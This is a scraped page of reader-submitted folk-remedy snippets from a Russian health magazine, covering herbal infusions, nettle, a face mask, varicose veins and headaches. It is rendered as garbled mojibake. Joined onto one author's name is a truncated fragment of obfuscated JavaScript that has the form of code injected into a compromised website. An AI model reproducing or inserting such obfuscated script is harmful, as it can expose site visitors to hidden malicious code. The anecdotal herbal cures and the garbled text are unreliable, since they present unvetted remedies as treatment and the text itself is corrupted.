Êîíå÷íî, åñëè ïðèñòóï ñåðüåçíûé, áåç òàáëåòîê íå îáîéòèñü. Íî, ñêàæó âàì ÷åñòíî, îáîñòðåíèÿ áîëåçíè óæå äàâíî ìåíÿ íå áåñïîêîÿò, õîòÿ ðàíüøå ñëó÷àëèñü êàæäóþ âåñíó è îñåíü.
Äåëî â òîì, ÷òî ÿ íàøëà îòëè÷íîå ïðîôèëàêòè÷åñêîå ñðåäñòâî – íàñòîé êàëåíäóëû.
● 2 ñò. ëîæêè öâåòêîâ êàëåíäóëû...
Ïðè âûïîëíåíèè íåïðèâû÷íîé è èíòåíñèâíîé ôèçè÷åñêîé íàãðóçêè âîçíèêëà îñòðàÿ áîëü â ïîÿñíèöå?
 ïðîøëûå âûõîäíûå åçäèëè íà äà÷ó îòêðûâàòü ñåçîí.
×èòàéòå òàêæå:
Óêðîïíûé íàñòîé äëÿ õîðîøåãî ñíà
Îòåêàþò íîãè? Ïåéòå íàñòîé ïåòðóøêè!
Ëå÷åíèå ãèïåðòîíèè ñîêîì õðåíà è ìîðêîâè
Ñàìè ïîíèìàåòå, ðàáîòû â ñàäó íàêîïèëîñü î÷åíü ìíîãî. Âåñü äåíü âîçèëèñü íà ó÷àñòêå, à ê âå÷åðó ó ìóæà ðàçáîëåëàñü ïîÿñíèöà.
Åõàòü â àïòåêó áûëî óæå ïîçäíî, ïîýòîìó ðåøèëè îáîéòèñü òåì, ÷òî åñòü â äîìå. Ê ñ÷àñòüþ, â ìîåé êîïèëêå íàðîäíûõ ðåöåïòîâ åñòü ñðåäñòâà ïî÷òè íà ëþáîé ñëó÷àé.
Âîò ðåöåïò ìàçè, êîòîðàÿ áóêâàëüíî çà îäíó...
Áåññîííèöà ñòàíîâèòñÿ ïðîáëåìîé äëÿ ïîæèëûõ ëþäåé
Ìíå 67 ëåò. Êàê è ìíîãèì ìîèì ðîâåñíèêàì, ïðîáëåìà áåññîííèöû ìíå èçâåñòíà íå ïîíàñëûøêå.
×èòàéòå òàêæå:
Êðàïèâà – æãó÷åå ëåêàðñòâî ïðîòèâ êàøëÿ è óãðåé
Íàñòîé êàëåíäóëû ïðîòèâ ãðèáêà íà íîãàõ
Êîðî÷êà ëèìîíà ïðîòèâ ìîçîëåé íà íîãàõ
Âå÷åðîì ïîäîëãó íå ìîãó çàñíóòü, à óòðîì ïðîñûïàþñü ñ ïåðâûìè ñîëíå÷íûìè ëó÷àìè. Ñïðàâèòüñÿ ñ ýòîé íàïàñòüþ óäàåòñÿ ëèøü áëàãîäàðÿ íàðîäíûì óñïîêàèâàþùèì ñðåäñòâàì.
Ñâîèìè ðåöåïòàìè ÿ õî÷ó ïîäåëèòüñÿ ñî âñåìè ÷èòàòåëÿìè «ÀèÔ. Çäîðîâüå»:
● Ïðèãîòîâüòå óêðîïíûé íàñòîé:...
Ñîâñåì ñêîðî íà ïðîòàëèíàõ ïîÿâÿòñÿ æãó÷èå ëèñòî÷êè ìîëîäîé êðàïèâû
×èòàéòå òàêæå:
Êðàïèâà ïîìîæåò îò ïåðõîòè?
Õóæå êðàïèâû: 6 ðàñòåíèé, êîòîðûå ëó÷øå íå òðîãàòü
Ëèñòüÿ êðàïèâû è øàëôåÿ ïîìîãóò èçáàâèòüñÿ îò ïðûùåé íà ëèöå
Õî÷ó ïîäåëèòüñÿ ñî âñåìè ÷èòàòåëÿìè «ÀèÔ. Çäîðîâüå» ñâîèìè ôèðìåííûìè ñðåäñòâàìè, ïðèãîòîâëåííûìè íà îñíîâå ýòîé òðàâêè.
● Ñïðàâèòüñÿ ñ çàòÿæíûì êàøëåì ïîìîæåò ÷àé èç öâåòêîâ êðàïèâû (ùåïîòêó öâåòîâ êðàïèâû çàâàðèâàþò 800 ìë êèïÿòêà).
● Îòâàð èç êîðíåé êðàïèâû (100 ã êîðíåé îòâàðèòü â 250 ìë âîäû) – íàðîäíîå ñðåäñòâî ïðîòèâ óãðåé....
Äîìàøíèå ìàñêè äëÿ ëèöà îñòàþòñÿ ñàìûì ïîïóëÿðíûì ñðåäñòâîì ïî óõîäó çà êîæåé
Ïèòàòåëüíàÿ ìàñêà èç ÿáëîê ïîäîéäåò äëÿ ëþáîãî òèïà êîæè.
Îäíî ñî÷íîå, ñïåëîå ÿáëîêî íàòðèòå íà òåðêå, îïóñòèòå 1 ñò. ëîæêó ìÿêîòè íà 2–3 ìèí. â êèïÿùèå ñëèâêè èëè ìîëîêî, çàòåì âûíüòå.
Ìàñêó íàêëàäûâàþò íà ëèöî íà 20–30 ìèí. è ñìûâàþò òåïëîé âîäîé.
Ìàñêà õîðîøî óâëàæíÿåò êîæó, äåëàåò åå ãëàäêîé è ýëàñòè÷íîé.
Àíãåëèíà Ïðîêîïåíêî, Ñàìàðàfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Íàñêîëüêî îïàñåí âàðèêîç?
Íà ìàéñêèå ïðàçäíèêè âïåðâûå ðàçäåëàñü, ÷òîáû ïîçàãîðàòü íà ãðÿäêàõ, è ïðèøëà â óæàñ. Íà ìîèõ íîãàõ ïîÿâèëèñü óðîäëèâûå âèíîãðàäíûå ãðîçäüÿ âàðèêîçà. Íàñêîëüêî îïàñåí âàðèêîç? Ìîæíî ëè óáðàòü ýòî áåçîáðàçèå ñ ïîìîùüþ ìàçåé, ôèçè÷åñêèõ óïðàæíåíèé, íàðîäíûõ ñðåäñòâ?
È. Ìóõèíà, Ìîñêâà
Îòâå÷àåò Ñåðãåé Ïðÿäêî, âðà÷ - cîñóäèñòûé õèðóðã, çàâåäóþùèé îòäåëåíèåì Öåíòðà ñîñóäèñòîé è êîðîíàðíîé õèðóðãèè èìåíè Áàêóëåâà:
- Âàðèêîç - áîëåçíü ÷ðåçâû÷àéíî ðàñïðîñòðàí¸ííàÿ. Ïðèçíàêè ýòîãî çàáîëåâàíèÿ â ðàçâèòûõ ñòðàíàõ èìåþò äî 89% æåíùèí è äî 66% ìóæ÷èí. Âàðèêîçíàÿ áîëåçíü ÷àùå âñåãî îáóñëîâëåíà íàñëåäñòâåííîé ïðåäðàñïîëîæåííîñòüþ, â å¸ îñíîâå...
Ëþáîé ÷åëîâåê âðåìÿ îò âðåìåíè ìó÷àåòñÿ îò ãîëîâíîé áîëè
×èòàéòå òàêæå:
Ãèìíàñòèêà, êîòîðàÿ óñïîêîèò íåðâû è íàëàäèò ñîí
Êîìïðåññ èç ÿáëîê è ìîëîêà ïîìîæåò èçáàâèòüñÿ îò ñèíÿêîâ
Îâñÿíûå õëîïüÿ - îòëè÷íûé ïèëèíã äëÿ êîæè ëèöà
Õî÷ó ïîäåëèòüñÿ ñðåäñòâàìè, êîòîðûå ïîìîãàþò ìíå èçáàâèòüñÿ îò ýòîé íàïàñòè:
● 1 ñò. ëîæêó ñóõîé òðàâû äóøèöû çàëåéòå 0,5 ë êèïÿòêà è äàéòå íàñòîÿòüñÿ 30 ìèí. Çàòåì ïðîöåäèòå è ïåéòå ïî 0,5 ñòàêàíà 2 ðàçà â äåíü.
● 1 ñò. ëîæêó òðàâû çâåðîáîÿ çàëåéòå 1 ñòàêàíîì êèïÿòêà, ïðîêèïÿòèòå 15 ìèí. è ïðîöåäèòå. Ïåéòå ïî 1 ñò....